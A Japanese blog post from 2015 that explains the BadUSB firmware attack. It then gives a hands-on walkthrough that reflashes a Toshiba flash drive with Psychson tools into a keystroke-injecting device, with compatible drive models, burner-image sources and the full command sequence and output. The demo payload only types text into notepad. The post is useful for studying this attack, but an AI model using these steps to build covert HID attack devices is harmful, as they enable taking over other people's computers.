USBフラッシュメモリなどの micro-controller のファームウェアを書き換えて、
他の USB 機器のふりをして動作させ Windows PC などをあれこれ好きにできてしまう危険なツールです。
最初に発表されたのは 2014年8月7日。
black hat USA 2014 の BRIEFINGS AUGUST 7 での発表
BADUSB - ON ACCESSORIES THAT TURN EVIL
https://www.blackhat.com/us-14/briefings.html#badusb-on-accessories-that-turn-evil
https://www.youtube.com/watch?v=nuruzFqMgIw
https://srlabs.de/blog/wp-content/uploads/2014/07/SRLabs-BadUSB-BlackHat-v1.pdf
で、この発表者の Karsten Nohl と Jakob Lell が BadUSB と命名しました。
発表した危険性の内容は、
「USB端子を利用する端末には専用チップとファームウェアがあり、ファームウェアによって端末を認識できるようになっている。
このUSBのファームウェアは適切なツールを入手するか作成すればだれでも書き換えることができる。
書き換えを製造者に限定するような認証や暗号化などは特に行われていない。
ファームウェアを改変すれば、USBフラッシュメモリにマルウェアをこっそり送り込んだり、USBストレージのデータを改竄したり、
USBキーボードを無断で操作したりできる。」
というものです。
この発表者の二人はUSB規格の仕様に由来するため容易に修正できない危険性の内容に鑑みて
実行可能なコード内容は発表しなかったのですが、
DERBYCON 2014 で 9月26日に Adam Caudill と Brandon Wilson が
Making BadUSB Work For You
https://www.derbycon.com/schedule/ (Stable Talks on Friday, September 26th, 2014)
https://www.youtube.com/watch?v=xcsxeJz3blI
http://adamcaudill.com/2014/10/02/making-badusb-work-for-you-derbycon/
http://www.slideshare.net/adam_caudill/derby-con2014presentation
という発表を行い、BadUSB を作成する手順と作成に使用するツールのソースコードを github にて公開しました。
https://github.com/adamcaudill/Psychson
Phison 2251-03 (2303) Custom Firmware & Existing Firmware Patches (BadUSB)
という説明の通り、Phison Electronics Corp. の 2251-03 micro-controller
http://www.phison.com/english/newProductView.asp?SortID=60&ID=235
を使用している USB フラッシュメモリのファームウェアを書き換えて BadUSB を作成することが出来るツールです。
この micro-controller を使用していない USB フラッシュメモリを書き換えて BadUSB を作ることは出来ません。
ファームウェアは Intel MCS 8051 互換形式の C で書かれており、
書き換えツールは C# で書かれています。
そのため、それぞれをビルドするには
SDCC (Small Device C Compiler)
http://sdcc.sourceforge.net/
と
Visual Studio Express 2012
http://www.microsoft.com/en-us/download/details.aspx?id=34673
以上の Edition の Visual Studio が必要になります。
https://github.com/adamcaudill/Psychson/wiki/Known-Supported-Devices
にユーザーからの情報も統合した使用可能デバイスのリストがあります。
ここで挙げられているのは以下の製品です。
Patriot 8GB Supersonic Xpress USB 3.0 Flash Drive (PSF8GXPUSB) (ディスコン。市場在庫のみ)
Patriot 16GB Supersonic Xpress USB 3.0 Flash Drive (PSF16GXPUSB) (ディスコン。市場在庫のみ)
Patriot Stellar 64GB USB/OTG 3.0 Flash Drive (PSF64GSTROTG) (マイクロUSB端子)
Kingston DataTraveler 111 — DT111 (ディスコン。市場在庫のみ)
Kingston DataTraveler 100 G3 — DT100G3 (DriveCom.exe では書き換えできない)
Kingston DataTraveler G4 — DTiG4
Silicon Power Marvel M60
Silicon Power Blaze B30
Toshiba TransMemory-MX USB 3.0 16GB/8GB (8Gはすでに入手困難)
全て Phison PS2251-03 (2303) controller を使っている製品です。
ここに名前の挙がっている製品も、製造メーカーの都合により同じ型番の同じ製品でありながら
コントローラーが PS2251-03 (2303) から別のものに変更になっている場合があるため
実際に購入して試してみるまで BadUSB に書き換え可能かどうかは分かりません。
当方では国内で入手性が良く価格の安い以下の二つを使用して書き換えを試行しました。
Silicon Power Blaze B30 32GB
Toshiba TransMemory-MX USB3.0 16GB
ブラウザで Psychson のページ
https://github.com/adamcaudill/Psychson
を開き、ページ上の Download ZIP ボタンを押すと
git の master ブランチが Psychson-master.zip という名前でダウンロードできます。
(GitHub on Windows や git for windows を使用している場合は適宜 clone してください。)
zip を展開すると中身は以下のような構成になっています。
docs/ DriveCom/ EmbedPayload/ firmware/ Injector/ patch/ templates/ tools/ .gitignore LICENSE README.md
DriveCom/ フォルダの中の DriveCom.sln と EmbedPayload/ フォルダの中の EmbedPayload.sln を
Visual Studio で開きビルドします。
ビルドされた実行バイナリは tools/ フォルダ内にコピーされます。
DriveCom.exe を使って ファームウェアをバックアップしたり書き込んだりする際には
Burner イメージというファイルが必要になります。
Phison PS2251-03 (2303) controller 上で動作し、保存されているファームウェアを読出したり
自作したカスタムファームウェアを書き込んだりするために必要となる実行ファイルです。
Burner イメージは以下のような規約に基づいてファイル名が付けられています。
BNxxVyyyz.BIN
xx はコントローラーの version。03 であれば PS2251-03 用。
yyy はファイルの revision 番号で動作との関連はありません。
最後の z は NAND のページサイズを表しており、
2KM はページサイズ 2K の NAND chip 用、4KM はページサイズ 4K の NAND chip用、
M はページサイズ 8K の NAND chip 用であることを示しています。
このファイルは以下のサイトから自分の使用する USBフラッシュメモリに該当するものを探してダウンロードしてください。
http://www.usbdev.ru/files/phison/
当方では firmware_ps2251-03.rar をダウンロードし、展開した中にある BN03V104M.BIN を
tools フォルダ内にコピーして使用しました。
DriveCom.exe で現在 USB メモリに書き込まれているファームウェアの情報を確認し、
BootMode に変更して Dump することが出来ます。
このオリジナルのファームウェアを保存しておけば、書き換えに失敗しても元の状態に書き戻すことができます。
以下、USBフラッシュメモリは E ドライブとして Windows に認識されている前提です。
・Silicon Power Blaze B30 32GB
まず Silicon Power Blaze B30 32GB でファームウェア情報の確認を行ったところ以下のようになりました。
C:\Users\beat\Documents\Psychson-master\tools>DriveCom.exe /drive=E /action=GetInfo Action specified: GetInfo Gathering information... Reported chip type: 0000 Reported chip ID: 70-00-05-00-00-00 Reported firmware version: 0.00.00 Mode: Unknown
chip type が 0000 となっており、Phison 2251-03 ではないようです。
Mode も Unknown となっており、Dump や書き込みを行える状態かの判定も出来ません。
Bootモードへの変更も行ってみましたが変化がなく、BadUSB への書き換えは不可能でした。
・Toshiba TransMemory-MX USB3.0 16GB
Toshiba TransMemory-MX USB3.0 16GB でファームウェア情報の確認を行ったところ、以下のようになりました。
C:\Users\beat\Documents\Psychson-master\tools>DriveCom.exe /drive=E /action=GetInfo Action specified: GetInfo Gathering information... Reported chip type: 2303 Reported chip ID: 98-3A-A8-92-76-57 Reported firmware version: 2.08.53 Mode: Firmware
2303 なので PS2251-03 に間違いありません。
Bootモード に変更します。
C:\Users\beat\Documents\Psychson-master\tools>DriveCom.exe /drive=E /action=SetBootMode Action specified: SetBootMode
Boot モードに移行したか念のため確認します。
C:\Users\beat\Documents\Psychson-master\tools>DriveCom.exe /drive=E /action=GetInfo Action specified: GetInfo Gathering information... Reported chip type: 2303 Reported chip ID: 98-3A-A8-92-76-57 Reported firmware version: 1.01.10 Mode: BootMode
Bootモードに切り替わっているので、Dump を実行します。
まず Burner イメージを送り込みます。
C:\Users\beat\Documents\Psychson-master\tools>DriveCom.exe /drive=E /action=SendExecutable /burner=BN03V104M.BIN Action specified: SendExecutable
名前を付けて現在書き込まれているファームウェアを Dump します。
C:\Users\beat\Documents\Psychson-master\tools>DriveCom.exe /drive=E /action=DumpFirmware /burner=BN03V104M.BIN /firmware=orig_firm.bin Action specified: DumpFirmware
205,824 byte = 201k byte のファームウェアが Dump できました。
このオリジナルのファームウェアを保存しておけば元の状態に書き戻すことが出来ます。
C:\Users\beat>cd C:\Users\beat\Documents\Psychson-master\firmware C:\Users\beat\Documents\Psychson-master\firmware>build.bad *** Building main.c... *** Building timers.c... *** Building usb.c... *** Building control.c... control.c:7: warning 116: right shifting more than size of object changed to zero control.c:15: warning 116: right shifting more than size of object changed to zero *** Building scsi.c... scsi.c:188: warning 85: in function HandleCDB unreferenced local variable : 'i' *** Done.3箇所ワーニングが出ますが正常にビルドが完了し、firmware/bin/ フォルダの下に fw.bin が出来ます。
C:\Users\beat>cd C:\Users\beat\Documents\DuckEncoder_2_6_3\ C:\Users\beat\Documents\DuckEncoder_2_6_3>java -jar encoder.jar -i keys.txt -o inject.bin Hak5 Duck Encoder 2.6.3 Loading File ..... [ OK ] Loading Keyboard File ..... [ OK ] Loading Language File ..... [ OK ] Loading DuckyScript ..... [ OK ] DuckyScript Complete..... [ OK ]inject.bin が作成されます。
C:\Users\beat>cd C:\Users\beat\Documents\Psychson-master\tools C:\Users\beat\Documents\Psychson-master\tools>EmbedPayload.exe inject.bin fw.bin File updated.これでカスタムファームウェア fw.bin が作成できました。
DriveCom.exe を使って作成したカスタムファームウェアを書き込みます。
まずBootモードに変更します。
C:\Users\beat>cd C:\Users\beat\Documents\Psychson-master\tools C:\Users\beat\Documents\Psychson-master\tools>DriveCom.exe /drive=E /action=SetBootMode Action specified: SetBootMode
Burner イメージを送り込みます。
C:\Users\beat\Documents\Psychson-master\tools>DriveCom.exe /drive=E /action=SendExecutable /burner=BN03V104M.BIN Action specified: SendExecutable
カスタムファームウェアを送り込み、Burner で書き込みます。
C:\Users\beat\Documents\Psychson-master\tools>DriveCom.exe /drive=E /action=SendFirmware /burner=BN03V104M.BIN /firmware=fw.bin Action specified: SendFirmware Gathering information... Reported chip type: 2302 Reported chip ID: 98-3A-A8-92-76-57 Reported firmware version: 1.01.10 Mode: Burner Rebooting... Sending firmware... Executing... Mode: Firmware
これで BadUSB が完成しました。
元のファームウェアへ書き戻さない限りもう USB フラッシュメモリとしては認識しません。
作成した BadUSB を Windows PC の USB ポートに差し込むと、
以下の内容が全く操作しないまま実行されます。
新しい USB デバイスを接続したと認識され、自動的にドライバーのインストールが始まる。
以下の四つのドライバーがインストールされる。
・USB Composite Device
・USB 大容量記憶装置
・USB 入力デバイス
・USB Device
ドライバーのインストールが完了すると
「ファイル名を指定して実行」のダイアログが開き、
notepad が実行され、 Hello World! の文字列が入力される。
HIDペイロードのキー入力の内容を変えれば、
どんな有害な操作も自動で行わせることが可能です。
2015/01/13 初稿公開